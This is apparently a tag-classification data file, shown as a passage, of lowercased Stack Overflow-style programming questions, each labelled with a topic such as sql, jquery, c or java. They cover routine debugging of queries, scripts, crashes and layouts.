url(http://fonts.googleapis.com/css family=lobster); .hero_text { text-align: right; padding-left: 5px; display: inline; float: right; clear: both; position: fixed; right: 0; font-family: &lt; php echo $layout_options[ h1-font ];  &gt;; font-size: &lt; php echo $layout_options[ h1_font_size ];  &gt;; color: &lt; php echo $layout_options[ h1_font_colour ];  &gt;; line-height: 20px; } </code></pre>   i need to replace the   <pre><code>@import url(http://fonts.googleapis.com/css family=lobster); </code></pre>   with the font array so that when my drop down lists changes  it will change that line to match the font. i need to use something like below but specifically to the array name  css and font    <pre><code>&lt; php echo $layout_options[ h1-font- ];  &gt;; </code></pre>   hope this yeps you more,php
capybara + remote form request  i have a form that i m testing using capybara. this form s url goes to my braintree sandbox  although i suspect the problem would happen for any remote url. when capybara clicks the submit button for the form  the request is routed to the dummy application rather than the remote service.    here s an example app that reproduces this issue: <a href= https://github.com/radar/capybara_remote  rel= nofollow >https://github.com/radar/capybara_remote</a>. run bundle exec ruby test/form_test.rb and the test will pass  which is not what i d typically expect.    why does this happen and is this behaviour that i can rely on always happening,ruby-on-rails
unknown column on  on clause  in sql joins   can you guys help me please in understanding the sql specifications on join. i don t understand it. i kept getting errors called unknown column list on on clause.  i got this error over my sql syntax  i almost rubbed it in my face i just can t understand why it is not working  i have read some article regarding that it is because of precedence etc but i am really confused on what i have done wrong here.   <pre><code>select product.name   product.price from product inner join product_category on           (product_category.product_no = product.product_no ) where product_category.sub_category =   coffin ; </code></pre>   i know this question have been ask a hudred and million times here  but the ones i saw are complicated nowhere close in this very basic sql syntax.    thanks for helping me out.    edit: i just had realize that i have product_category not a direct child to my product table so i just have typed   <pre><code> select * from product   join specifications   join product_category on ( specifications.product_no = product_category.product_no); </code></pre>   but this still gave me an error  unknown column product_category.    i ve read and followed some instruction similarly to this sites: <a href= https://stackoverflow.com/questions/13783669/mysql-unknown-clause-join-column-in-next-join >mysql unknown clause join column in next join</a> <a href= https://stackoverflow.com/questions/1753837/unknown-column-0-in-on-clause >unknown column {0} in on clause</a> <a href= https://stackoverflow.com/questions/10483421/mysql-unknown-column-in-on-clause >mysql &quot;unknown column in on clause&quot;</a>    i am really frustrated. i really can t get it to work.,sql
what s the difference between calling through and object vs class  what s the difference between calling a method through an object vs a class.    for example the class bob   <pre><code>public class secretnumber() {     public static int secretnumber = 2;     public static void changesecretnumber(){         secretnumber++;     } } </code></pre>   what would be the difference if i called it like an object   <pre><code>secretnumber secretnumber = new secretnumber(); secretnumber.changesecretnumber(); </code></pre>   vs calling it like this   <pre><code>secretnumber.changesecretnumber(); </code></pre>   how would one method effect the other,java
how do i get $(this) two levels deep   alright so i m trying to set up a keydown dispatcher that will do different things based on which key was pressed.    it s added to onkeyup on my input field   <pre><code>$(function() {   $( #myinput ).keyup(suggestion_dispatcher); }); </code></pre>   and then this is the suggestion dispatcher itself   <pre><code>function suggestion_dispatcher() {     alert($(this).val());     var code = event.which;      if(code == 13) {         // select     } else if (code == 38) {         // up     } else if (code == 40) {         // down     } else {         $.proxy(get_suggestion()  $(this));     } } </code></pre>   even using the jquery proxy  inside my get_suggestion() function if i look at <code>this</code> or <code>$(this)</code> i see that it s giving me the window object instead of the input box that s being typed into.  what am i missing,jquery
mysql trigger update another table s quantity by 1  hi i m trying to create a trigger that adds 1 to the quantity of insert s id in a helper table holding the codes for the id s. here are my 2 tables.   <pre><code>     animal    ----------    animalid    breedcode     breed_codes   ------------    breedcode    breed    quantity       create trigger `updater` after insert on `animal`      for each row update breed_codes      set quantity = quantity + 1      where breedcode = animal.breedcode </code></pre>   however it states that the animal breed code isn t found. can anyone please help me fix my trigger. thank you,mysql
then files in my project folder used for what   my client needs the non-compiled code. what s that      my project folder includes: classes:of course  the source code. build:   i don t understand clearly. imagesrc: i added  include the images of my project. the others are the nib file.,iphone
building an http packet in libnet(tcp packet)  please help us as soon as posible. we are stuck!  we are building a nat program we change each packet that comes from our internal subnet  change it s source ip  address by libnet functions.( catch the packet with libpcap  put it  sniff structures and build the new packet with libnet)     over tcp  the syn/ack packets are good after the change  and when a http-get request is coming  we can see by wireshark that there is an error on the checksum field.. all the other fields are exactly the same as the original packet.    is anyone knows what can cause this problem  the new checksum in other packets is calculated as it should be.. but in the http packet it doesn t..,c
how to make link to be opened by popup window or page   <img src= https://i.stack.imgur.com/donfd.png  alt= enter image description here > this is my log-in and i need the popup window for the link  change password  instead of using self or blank. the picture shows the sample log-in and the link.    the code of the link:   <pre><code>&lt;a href= update password.html  &gt;change your password &lt;/a&gt; </code></pre>,html
working with .net projects and front-end developers  we have multiple projects in .net where we have 2 copies of it  the source code and the published version. when a front-end developer comes in he normally works in the published version as they don t normally use visual studio  so we end up with lots of changes in the published version that we need to copy back onto the source code version. this leads to errors as people forget to copy the changes.    does anyone have similar problems  any tips     thanks,.net
how to return new table when join multi table in asp.net mvc <pre><code>public list&lt;book&gt; getlistbooks(int top)     {         var result = (from book in db.books                       join author in db.authors on book.authorid equals author.id                       join publisher in db.publishers on book.publisherid equals publisher.id                       join category in db.bookcategories on book.categoryid equals category.id                       join catalog in db.bookcatalogs on category.catalogid equals catalog.id                       where book.status == true                       select new                        {                           id = book.id                            name = book.name                            alias = book.alias                            price = book.price                            quanlity = book.quality                            viewcount = book.viewcount                            status = book.status                            image = book.image                            moreimages = book.moreimages                            publicationdate = book.publicationdate                            bookcover = book.bookcover                            catalog = catalog.name                            category = category.name                            publisher = publisher.name                        });         return result.tolist();     } </code></pre>  <blockquote>    severity  code    description project file    line    suppression state   error   cs0029  cannot implicitly convert type  system.collections.generic.list&lt;>  to  system.collections.generic.list   model     </blockquote>,asp.net
sql database deletion  problem: i updated the wrong table in the database. is there any way to get the original database back     please help thanks   <pre><code>update as set   name =  a   </code></pre>   server: sql server 2005 i have already committed the update statement.     sorry for not including it earlier.,sql
how to use jquery easyticker with setinterval function properly   i am using jquery easyticker plugin to display live scrolling news .    my requirement is that for every 5 seconds i will get the latest data from back end (ajax call) and update the livenews div    the issue i am facing is that the div data is getting disappeared after 5 seconds       this is my code    <pre><code>var latestnewsresponse = [     {          title :  reliance power q2 net up 37% at rs 346 crore            pub_date :  2015-11-03 08:48            link :  http://www.business-standard.com/article/companies/reliance-power-q2-net-up-37-at-rs-346-crore-115110300604_1.html      }      {          title :  buy jubilant life; target of rs 578: p lilladher            pub_date :  2015-11-03 08:39            link :  http://www.moneycontrol.com/news/recommendations/buy-jubilant-life-targetrs-578-p-lilladher_3920361.html      }      {          title :  sensex  nifty volatile; amtek auto up 17%  lt most active            pub_date :  2015-11-03 08:30            link :  http://www.moneycontrol.com/news/local-markets/sensex-nifty-volatile-amtek-auto17-lt-most-active_3947741.html      }      {          title :  reliance power q2 net up 37% at rs 346 crore            pub_date :  2015-11-03 08:48            link :  http://www.business-standard.com/article/companies/reliance-power-q2-net-up-37-at-rs-346-crore-115110300604_1.html      }  ];  displaylivenews();  setinterval(displaylivenews  5000);   function displaylivenews() {     var s =   ;     for (var i = 0; i &lt; latestnewsresponse.length; i++)     {         s +=  &lt;li&gt;&lt;div class= itemtitle &gt;&lt;a href=   + latestnewsresponse[i].link +     target= _ &gt;  + latestnewsresponse[i].title +  &lt;/a&gt;&lt;/div&gt; ;         s +=  &lt;div class= itemdate &gt;  + latestnewsresponse[i].pub_date +  &lt;/div&gt; ;         mysource = latestnewsresponse[i].link.split( :// )[1].split( / )[0].replace(/(www.)|(.com)/g    );         s +=  &lt;div class= source &gt;  + mysource +  &lt;/div&gt; ;         s +=  &lt;/li&gt;      }     $( #livenewsrss ).html( &lt;ul class= feedeklist &gt;  + s +  &lt;/ul&gt; ).easyticker(     {         direction:  up      }); } </code></pre>   <a href= http://jsfiddle.net/2wzqp/7/  rel= nofollow >http://jsfiddle.net/2wzqp/7/</a>    could you please let me now how to resolve this issue,jquery
sql query to fetch exact values  i would like to know how to write query to fetch exact values from where clause. for example there is a table which has following data    <pre><code>user    access a       default a       everyone b       default b       everyone b       webaccess </code></pre>   sql query should be written in such a way that the output brings in only user a . i have tried using group by and checking the count of records however it brought me both the users.     thanks in advance!,sql
creating a sql query with two tables  i need some assistance creating a query for the following result:    <img src= https://i.stack.imgur.com/p2g7a.jpg  alt= enter image description here >    i currently have two tables accounts  which lists the users and how much they initial owe and payments  which holds all the records of the payments the users have made. i know how to merge tables with join but i don t know how to do the math needed to get the owed amount and paid amounts.    the columns in accounts consist of: id  name  account  borrowed<br /> the columns in payments consist of: id  acctid  paymentamt    i need a query that will combine both of these tables and do the math to show how much the user has currently paid and how much the user still owes from the initial borrowed amount.    <strong><em>example table data:</em></strong>   <h3>accounts table</h3>   id = 3  name = joe  account = business  borrowed = 100.00   <h3>payments table</h3>   id = 1  acctid = 3  paymentamt = 10.00<br /> id = 2  acctid = 3  paymentamt = 10.00    i am using ms sql in c#.,sql
how to get width of a string in java  i just started my comp science course and 3 weeks in i am already struggling. using <code>bluej</code> i need to create a rectangle  with methods label  height of the rectangle  colour of the rectangle  position of both label and rectangle and width of rectangle. it basically has to look like a bar chart with text to the left of it therefore i need to figure out the width of the text in pixels so then i can subtract it from the <code>x</code> position of the rectangle. i have had no experience with java or programming to draw on a canvas before therefore i would need some sort of <code>label.getwidth();</code> command,java
how to share page link using mail   i want to share a page link using mail. if i click on the mail it should pop up a window where i want: from address  to address and link. how can i do this,javascript
file* issue ppu side code  we are working on a homework on cell programming for college and their feedback response to our questions is kinda slow  thought i can get some faster answers here.    i have a ppu side code which tries to open a file passed down through <code>char* argv[]</code>  however this doesn t work it cannot make the assignment of the pointer  i get a null.    now my first idea was that the file isn t in the correct directory and i copied in every possible and logical place  my second idea is that maybe the ppu wants this pointer in its ls area  but i can t deduce if that s the bug or not. so...    my question is what am i doing wrong     i am working with a fedora 7 sdk cell  with eclipse as an ide. maybe my argument setup is wrong tho he gets the name of the file correctly.    code on request:   <pre><code>images_t *read_bin_data(char *name) {     file *file;     images_t *img;     uint32_t *buffer;     uint8_t buf;     unsigned long filelen;     unsigned long i;      //open file     file = (file*)malloc(sizeof(file));     file = fopen(name   rb );     printf( [debug]opening file %s\n  name);     if (!file)     {         fprintf(stderr   unable to open file %s   name);         return null;     }   //....... </code></pre>   }    main launch:   <pre><code>int main(int argc char* argv[]) {    int i img_width;    int modif_this[4] __attribute__ ((aligned(16))) = {1 2 3 4};    images_t *faces  *nonfaces;     spe_context_ptr_t ctxs[spu_threads];    pthread_t threads[spu_threads];    thread_arg_t arg[spu_threads];    //intializare img_width    img_width = atoi(argv[1]);    printf( [debug]img size is %i\n  img_width);    faces = read_bin_data(argv[3]);  //.......  } </code></pre>   thanks for the help.,c
eerror message in function  main   program to take the input and output the reverse of it:   <pre><code>#define max 1000   int readtext(char[] int); /*used to store text in array and  returns the size of the line*/ void reverse(char[]); /*used to reverse the text in the line and returns 0*/  int main(void) {     char text[max];     printf( enter text  press ctrl+d when done \n ); /*prompt user input*/      while((redtext(text  sizeof text)&gt;0)) /*loop repeats until text size is &gt;0*/     {         reverse(text);         printf( %s\n\n  text);     }     return 0; }  int readtext(char a[] int len) {     int letchar i;      for(i=0;i&lt;len-1 &amp;&amp; (letchar=getchar())!=eof &amp;&amp; letchar!= \n ;i++) /*for loop repeats until end of line*/         a[i]=letchar;     if(letchar== \n ) /*checks if letchar is \n.  if true  changes it to null and returns i value*/         a[i++]=letchar;     a[i]= \0 ;     return i;    }  void reverse(char a[]) {     char t;     int x y;     for(y=0;a[y]!= \0 ;y++) /*loop used to get the last element of the array*/         --y;     for(x=0;x&lt;y;x++) /*loop used to reverse the array  a */      {         t=a[x];         a[x]=a[y];         a[y]=t;         --y;     } } </code></pre>   expected input/output:   <pre><code>happy birthday yadhtrib yppah </code></pre>   i am getting this error message  but do not know what it means:   <pre><code>/tmp/cca71sdx.o: in function `main : 1-19.c:(.text+0x63): undefined reference to `redtext  collect2: ld returned 1 exit status </code></pre>,c
string to byte[] conversion using xmlwriter and xmlreader  i have two methods xmlwriter and xmlreader.<br> i have a byte[] called thumbprint.  in the writer i convert it from a byte[] to a string and write it to my xml file. this works.  i need to figure out how to read it back in from a string and convert it back to a byte[].<br> here is my code so far:    <pre><code>public void writexml(xmlwriter writer)         {              writer.writestartelement( agent );                          writer.writestartelement( thumbprint );             var encoding = new unicodeencoding();                 if (thumbprint != null)             {                 string base64 = system.convert.tobase64string(encoding.getbytes(thumbprint.tostring()));                 writer.writecdata(base64);             }             else             {                  writer.writeendelement();             }         }  public void readxml(xmlreader reader)         {             if (reader.isstartelement( agent ))             {                     //                 // read past &lt;agent&gt;                 //                 reader.read();                  while (true)                 {                     if (reader.isstartelement( thumbprint ))                     {                          byte[] todecodebyte = system.convert.frombase64string(thumbprint.tostring());                          thumbprint = todecodebyte;                        }                     else                     {                         //                         // read &lt;/agent&gt;                         //                         reader.movetocontent();                         reader.readendelement();                         break;                     }                 }             }             else             {                 throw new xmlexception( expected &lt;agent&gt; element was not present );             }         } </code></pre>   xml input:    <pre><code>&lt;thumbprint&gt;     &lt;![cdata[uwb5ahmadablag0algbcahkadablafsaxqa=]]&gt; &lt;/thumbprint&gt; </code></pre>,c#
creating dynamic ng-model for dynamic rows in table and get values and put in api  <a href= https://i.stack.imgur.com/bk9qe.png  rel= nofollow >table</a>         <pre><code>  &lt;tr&gt;            &lt;td&gt;{{transdept}}&lt;/td&gt;     &lt;td ng-repeat= x in sales &gt;     &lt;select ng-model= ddl[transdept.accountcode]    onchange= changeselectedoptiontext(this)   style= width:100px; &gt;       &lt;option value=  &gt; &lt;/option&gt;       &lt;option  ng-selected= trans.accountcode == {{x}}.{{transdept}}   ng-repeat= trans in catogoriesaccountdatas  value= {{trans.accountcode}} &gt;{{trans.accountcode}}| {{trans.name}} &lt;/option&gt;       &lt;/select&gt;     &lt;/td&gt;          &lt;/tr&gt;  </code></pre>        { action : postconfigurationdata.accountsetting   configurationfilter :{ companyid :0  username :null  password :null  userid :0}  configurationdata : [{\ companyid\ : +companyid+  \ entityid\ : +$scope.loginentityid+  \ department\ :\ bendigo\  \ accounts\ :\ {\\ material\\ :200 \\ labour\\ :090 \\ general\\ :445 \\ freight\\ :970 \\ fees\\ :300 \\ rounding\\ :970}\ }] },angularjs
creating an interactive website design  what is the best and easy tool to create an interactive rubric like this:    <a href= http://www.achievementfirst.org/high-school/interactive-writing-rubric/#position  rel= nofollow noreferrer >http://www.achievementfirst.org/high-school/interactive-writing-rubric/#position</a>,html
classloader.class.getresourceasstream is not working in my code  the below given code is returning <em>null</em> when i am loading the <em>property file</em>. kindly go through the code and suggest me the changes.   <pre><code>    constantprop = new properties();      try {          // loads the constants.properties file         inputstream constantpropfile = classloader.class                 .getresourceasstream( /constantfiles/                           +  .properties );         system.out.println(constantpropfile);         constantprop.load(constantpropfile);     } catch (filenotfoundexception e) {         // todo auto-generated catch block         // e.printstacktrace();         log.equals( constant property file not found );      } catch (ioexception e) {         // todo auto-generated catch block         // e.printstacktrace();         log.error( can t load constants.properties property      file  );     } </code></pre>,java
sql statement querying same table 2 times  ok  i ve got brain cells melting at an alarming rate on this sql statement.  not my database  but i ve been tasked with extracting data.  so here s what i m dealing with...    it is medical data.  we have a database where all of the people are listed in one table- patients  as well as doctors.  each person has a unique <code>personid</code>.  let s just start with the <code>person</code> table:     <pre><code>person: personid  persontype  lastname  firstname </code></pre>   i have another table that is hospital admissions.     <pre><code>admissions: admissionid  personid and primarymd  </code></pre>   where the primary md is the same as the person id for a doctor.    i need to extract each admission  with the last name  and then the first name of the patient  but then i need to go back  based on the primarymd identifier and use that value to pull the last name and first name of the doctor so that my results look like:    <code>admission | patientlastname | patientfirstname | doctorlastname | doctorfirstname</code>    ultimately  i ll need to pull address information for both the patient  and the doctor which is all stored in an address table with the same <code>personid</code> as in the person table  and then pull the doctor s address using the primarymd against the person table.  but i can t figure how to write two queries in the same statement against these similar columns.  i tried using aliases  and some left and inner joins and even a union  but i can t seem to get things right.    any assistance would be hugely appreciated.,sql
sql functions using min and max together  i am trying to get 2 pieces of information from a database by using the min and max function. this is my statement:    <pre><code>select min(sal) and max(sal) from emp; </code></pre>   i just cannot get the result  i get an error saying from keyword not found where expected.    thank you,sql
multi line customizable list  i need to create a  column chooser . basically two lists left/right with the ability to move items from one to another using buttons.      usually simple <code>select&gt;option</code> with <code>size=10</code> would be enough. but (as always) i need to be able to customize list items. is there any ready solution for customizable lists     i did found custom versions for dropdown lists  but not list-lists (ie <code>ui-select</code>).,angularjs
"html e-mail form  so my site is almost done but i m stuck on the part of sending an email. everything works  when i fill in the fields. but it always gets saved as a draft so i don t receive the email. here is my html code: this code is copied from a site.  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form action= mailto:myemailadress@gmail.com  method= post  enctype= text/plain &gt;
 name:&lt;br&gt;
 &lt;input type= text  name= name &gt;&lt;br&gt;
 e-mail:&lt;br&gt;
 &lt;input type= text  name= mail &gt;&lt;br&gt;
 comment:&lt;br&gt;
 &lt;input type= text  name= comment  size= 50 &gt;&lt;br&gt;&lt;br&gt;
 &lt;input type= submit  value= send &gt;
 &lt;input type= reset  value= reset &gt;
 &lt;/form&gt;</code></pre>
 </div>
 </div>",html
nslocalizedstring app crashed during run  i am creating an app which contains lots of label and text value etc... on registration page<br> without localisation my app working perfect but after doing localization i got error      <pre><code>-[uilabel charvalue]: unrecognized selector sent to instance 0x765b980   *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[uilabel charvalue]: unrecognized selector sent to instance 0x765b980    </code></pre>   <em>*</em> call stack at first throw:   (   <pre><code>0   corefoundation                      0x02aa7b99 __exceptionpreprocess + 185 1   libobjc.a.dylib                     0x02bf740e objc_exception_throw + 47 2   corefoundation                      0x02aa96ab -[nsobject(nsobject) doesnotrecognizeselector:] + 187 3   corefoundation                      0x02a192b6 ___forwarding___ + 966 4   corefoundation                      0x02a18e72 _cf_forwarding_prep_0 + 50 5   foundation                          0x001ebc2c _nssetcharvalueforkeyinivar + 68 6   foundation                          0x00157152 _nssetusingkeyvaluesetter + 230 7   foundation                          0x00157061 -[nsobject(nskeyvaluecoding) setvalue:forkey:] + 285 8   uikit                               0x005d570a -[uiruntimeoutletconnection connect] + 112 9   corefoundation                      0x02a1dded -[nsarray makeobjectsperformselector:] + 461 10  uikit                               0x005d4121 -[uinib instantiatewithowner:options:] + 1041 11  uikit                               0x005d5eb5 -[nsbundle(uinsbundleadditions) loadnibnamed:owner:options:] + 168 12  uikit                               0x0048b95f -[uiviewcontroller _loadviewfromnibnamed:bundle:] + 70 13  uikit                               0x00489675 -[uiviewcontroller loadview] + 120 14  uikit                               0x0048954f -[uiviewcontroller view] + 56 15  uikit                               0x004879f4 -[uiviewcontroller contentscrollview] + 42 16  uikit                               0x004977e2 -[uinavigationcontroller _computeandapplyscrollcontentinsetdeltaforviewcontroller:] + 48 17  uikit                               0x00495ea3 -[uinavigationcontroller _layoutviewcontroller:] + 43 18  uikit                               0x0049712d -[uinavigationcontroller _starttransition:fromviewcontroller:toviewcontroller:] + 524 19  uikit                               0x00491ccd -[uinavigationcontroller _startdeferredtransitionifneeded] + 266 20  uikit                               0x00498d8b -[uinavigationcontroller pushviewcontroller:transition:forceimmediate:] + 876 21  uikit                               0x00491b67 -[uinavigationcontroller pushviewcontroller:animated:] + 62 22  buzzador                            0x000039b8 -[buzzadorviewcontroller newuserbtnpressed] + 146 23  uikit                               0x003df7f8 -[uiapplication sendaction:to:from:forevent:] + 119 24  uikit                               0x0046ade0 -[uicontrol sendaction:to:forevent:] + 67 25  uikit                               0x0046d262 -[uicontrol(internal) _sendactionsforevents:withevent:] + 527 26  uikit                               0x0046c053 -[uicontrol touchesbegan:withevent:] + 277 27  uikit                               0x00403324 -[uiwindow _sendtouchesforevent:] + 395 28  uikit                               0x003e4cb4 -[uiapplication sendevent:] + 447 29  uikit                               0x003e99bf _uiapplicationhandleevent + 7672 30  graphicsservices                    0x030d0822 purpleeventcallback + 1550 31  corefoundation                      0x02a88ff4 __cfrunloop_is_calling_out_to_a_source1_perform_function__ + 52 32  corefoundation                      0x029e9807 __cfrunloopdosource1 + 215 33  corefoundation                      0x029e6a93 __cfrunlooprun + 979 34  corefoundation                      0x029e6350 cfrunlooprunspecific + 208 35  corefoundation                      0x029e6271 cfrunloopruninmode + 97 36  graphicsservices                    0x030cf00c gseventrunmodal + 217 37  graphicsservices                    0x030cf0d1 gseventrun + 115 38  uikit                               0x003edaf2 uiapplicationmain + 1160 39  buzzador                            0x00002610 main + 102 40  buzzador                            0x000025a1 start + 53 </code></pre>   ) terminate called after throwing an instance of  nsexception     all other page work perfect with localization accept this registration.      please help me,iphone
php - how i can find a partial word in array   i have a word:   <pre><code> $word =  samsung ; </code></pre>   i have array:   <pre><code>$myarray = array( [0] =&gt;  samsung=tv  [1] =&gt;  apple=mobile  [2] =&gt;  nokia=mobile  [3] =&gt;  lg=tv  </code></pre>   i need now something like this to find a partial match:   <pre><code> if($word in $myarray){ echo  yes ; } // samsung found in samsung=tv </code></pre>   thank you for help.,php
should i use std:: and boost:: prefixes everywhere   in my c++ code i don t use the declarations <code>using namespace std;</code> or <code>using namespace boost;</code>. this makes my code longer and means more typing. i was thinking about starting to use the  using  declarations  but i remember some people arguing against that. what is the recommended practice  std and boost are so common there should be no much harm in that,c++
can i use the result of a select statement from mysql to compare it with a variable   i have the following code in the my stored procedure:    <pre><code>set cont_email = select email from contacts  where id=in_id;  if in_customer_email = cust_email then  **do something** </code></pre>   so  i was wondering if instead of creating a local variable and storing the result from the select statement i just paste it directly in the if statement like so:   <pre><code>if in_customer_email = (select email from contacts  where id=in_id) then      **do something** </code></pre>   also  i was wondering how i can use ors in mysql.    can i do this    <pre><code>if in_customer_email = customer_email or in_customer_name = customer_name then </code></pre>   i have seen the use of or like this:    <pre><code>select customer_id  customer_name from customers where (customer_name =  apple  or customer_name =  samsung ) </code></pre>   but never inside of an if statement  so i wasn t sure.     and lastly  it has been ages since i could use something like if <code>var1 = var2</code>  since this is usually used for assigning not to compare  so i was wondering if this correct or i have to use double equal sign like <code>var1 == var2</code>.    thanks.,mysql
jquery: add prev and next to tabs  i am trying add prev and next functionality to my  tabs  but something not working.    here is the html:   <pre><code>&lt;a href= #  class= next-tab &gt;next&lt;/a&gt; &lt;a href= #  class= prev-tab &gt;prev&lt;/a&gt;  &lt;div class= tabs &gt;  &lt;a href= #  class= tab new-messages &gt; &lt;a href= #  class= tab statistics active &gt; &lt;a href= #  class= tab shop &gt;  &lt;/div&gt; </code></pre>   one of the  tab  start with  active  class so when the user click on the  next      the next  tab  will get the  active  class and this class will be removed from the prev tab.     <strong>jquery:</strong>   <pre><code>jquery(document).ready(function($) {     $( .next-tab ).click(function () {      if( $( .tab ).hasclass( active )) {        var tab = $( .tab ).find( a.active );        $(tab).parent().next().children().addclass( active );        $(tab).removeclass( active );        }     }); }); </code></pre>,jquery
jquery browse in div  i m currently creating a jquery based dynamic website. i have a top div and a bottom div. in the middle i have a content div. i want to use # to navigate through my website with the content loaded in the content div. the navigation is in the bottom div.    you must can reach the pages with #. example: example.com/#settings needs to open settings.php in the content div. but also when i click the settings link in the bottom div  the content div must contain settings.php    can anyone help     tnx.,jquery
ninepatchdrawable > java.lang.classcastexception  i am getting an error when trying to load an asset from the resource folder:   <pre><code>ninepatchdrawable ninepatchobj = ((ninepatchdrawable) context.getresources().getdrawable(r.drawable.orange_btn)); </code></pre>   returns   <pre><code>java.lang.classcastexception: android.graphics.drawable.bitmapdrawable </code></pre>   this asset works properly when using the xml button object.    thank you for any help provided.,android
how to increment a nsnumber  how do i increment a nsnumber     i.e. mynsnumber++,objective-c
slider height css does not work  for my website <a href= http://www.suemaisano.com/  rel= nofollow noreferrer >http://www.suemaisano.com/</a>  i want to increase the homepage slider background image height (different than slider image  i did not set any slider image  only background image). i set the class as of the slider as homeslider  and this is the code i put in the child css   <pre><code>.homeslider .et_pb_slide .et_pb_container { height: auto !important; min-height: 1080px !important;} </code></pre>   however  the background image height did not change when i manipulated the min-height. the actual image sizes are ~1920x1080. anything i need to change the code to make the min height work     thanks in advance!,css
how to add a property to nsobject in objective-c   i m using the following code to add a <code>displayvalue</code> method to nsobject:   <pre><code>@interface nsobject (mynsobjectadditions) - (nsstring*)displayvalue; @end   @implementation nsobject (mynsobjectadditions) - (nsstring*)displayvalue {     return self.description; } @end </code></pre>   this works great  but really i d rather have displayvalue be a read-only property instead of a method.    what would be the proper syntax to convert <code>displayvalue</code> to be a property instead of a selector  if it s even possible,objective-c
html image not working  i have a grid of images on my website  but some of the images randomly don t work. all the image sources are links  which are all generated from the same place. i ll show an example  with an image that works and one that doesn t<code>:</code>     <a href= http://codepen.io/anon/pen/mjmaze  rel= nofollow >http://codepen.io/anon/pen/mjmaze</a>    as you can see the second image doesn t work  but if you visit the source link the image is there. why is this happening,html
simple scroll to animation flicker  i am using a snippet of code that i found here:     <a href= https://stackoverflow.com/questions/8579643/simple-jquery-scroll-to-anchor-up-or-down-the-page >simple jquery scroll to anchor up or down the page... </a>     i have it working fine but i get a quick flicker of the initial screen each time i click to scroll. i modified the script to work on a div instead of another anchor.    does anyone have any idea why this is happening     thanks    <a href= http://www.mniac.com/portfolio/  rel= nofollow noreferrer >http://www.mniac.com/portfolio/</a>,jquery
sql sum and divide  basically i m trying to workout how many error s there would be per million  i m not sure this is right   <pre><code> (sum(countaudit) * sum(error)) / 1000000 </code></pre>   this was another idea i had    <pre><code>(sum(countaudit * 100) + sum(error * 100)) / 1000000 </code></pre>   not sure if i m on the right track,sql
multichoice text box in html  can somebody please guide me on how to create a multi-select text box in html (as shown below)      <img src= https://i.stack.imgur.com/z6mxx.png  alt= enter image description here >,html
how to save backup files for every 10 sec s like vs saves to recover data when power goes off in c#  i would like to save the backup file for every 10 seconds to a particular path (like vs saves backupfile  and asks  recover files  after opening that file when power goes off) in c# using serialization.,c#
how to detect when browser height is less than device height css  i have a page where the css of an element needs to be modified for devices like the nexus 5x (which has the  android nav bars  at the top and bottom - these push the elements on the page around)    currently i use this jquery to detect and adjust this. but is there a way to do this by css media queries instead     code below:   <pre><code>if( /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(navigator.useragent) ) {                         is_mobile = true;                     } if ($( window ).height()&lt;window.screen.height &amp;&amp; is_mobile==true) {             $( #my_element ).css( height   46vh );         } </code></pre>   so in css i was thinking something like comparing height &lt; device-height (and another condition to check for mobile which is simple)  but apparently device-height is deprecated (and also i don t think i can do such a comparison directly between the 2 heights anyway)     thanks a lot,css
accessing association of an association  i have a rails app with a user model that sets up friend relationships like this    user.rb   <pre><code>has_many :friendships has_many :friends  :through =&gt; :friendships </code></pre>   each user has a <code>has_many</code> association with the recipe.rb model    in my app  i want to post recipes on a user s show page by the friends of that user. i.e. go through the friends association to get the recipes of the friends. therefore  i do this in the users_controller.rb   <pre><code>def show    @friend_recipes = []   @user.friendships.each do |friendship|     @friend_recipes &lt;&lt; user.recipes_by_friends(friendship.friend_id)   end  end </code></pre>   which calls the class method <code>recipes_by_friends</code> on the user model    user.rb   <pre><code>scope :recipes_by_friends  lambda { |friend_id|   joins(:recipes).   where(recipes: {user_id: friend_id})      } </code></pre>   in the user show page  i try to show each of the recipes. however  in the code below  the recipe local variable is actually an active record relation for the friend  not the recipes for the friend.    /views/users/show.html.erb   <pre><code>&lt;% @friend_recipes.each do |recipe| %&gt;&lt;/li&gt;    &lt;%= recipe.inspect %&gt;  ## this is the relation for the user  not the recipe  &lt;% end %&gt;  </code></pre>  <ol> <li> how should i change the scope method (or change something else ) in the user model to get the recipes  </li> <li> is this the best way to loop through friends and add their recipes to an array    <pre><code>@user.friendships.each do |friend|   @friend_recipes &lt;&lt; user.recipes_by_friends(friend.friend_id) end </code></pre></li> </ol>,ruby-on-rails
how can i add uiimagepickerview in tabbaritem   how can i add uiimagepickerview in tabbaritem like this image.kindly go through the below link to view the image.. i need like this image.so pls help me. <a href= http://artoftheiphone.com/wp-content/uploads/2010/02/shopsavvy-barcode-sacnner.png  rel= nofollow noreferrer >http://artoftheiphone.com/wp-content/uploads/2010/02/shopsavvy-barcode-sacnner.png</a>,iphone
learn python the hard way example 11  i m doing example 11 on learn the hard way and i m just curious of how to use an escape sequence for the height part. if i ask for how tall and someone types in 6 2  with the foot and inches as quotes how do i get something in there that will not show that backslash when running it  when you run it the raw input prints out like 6\ 2 . i ve tried a few things and can t get nothing to work.   <pre><code>    print  how tall are you        height = raw_input() </code></pre>,python
sql: source code / under the hood  i m trying to gain a deeper understanding of sql  and i was just wondering - what was sql originally written in  i did some research  and according to <a href= https://stackoverflow.com/questions/16020999/was-the-original-sql-written-in-assembly-or-c >this stackoverflow page</a>  it seems that sql was originally written in c. if so  is there any way i could access the original source code to see how sql <em>really</em> works under the hood - its algorithms  data structures etc  if sql was indeed written in c  its inner workings must be imperative since c is an imperative language  and since i am more versed in c++ than in sql  it would be really rewarding to explore sql in terms of an imperative paradigm. thanks in advance for any insight you may have!,sql
mysql selecting 0 matches all strings  if i have a table with a string column  and try to select from that column matching <code>0</code>  all rows are returned. why would mysql return all rows  instead of just the rows that have 0 as the string    <pre><code>select * from mytable where mystringcolumn = 0; </code></pre>   take a look at this <a href= http://sqlfiddle.com/#!2/a2581/10533/0  rel= nofollow >sqlfiddle</a>. i would expect to see no rows returned  but all are. why does this happen,mysql
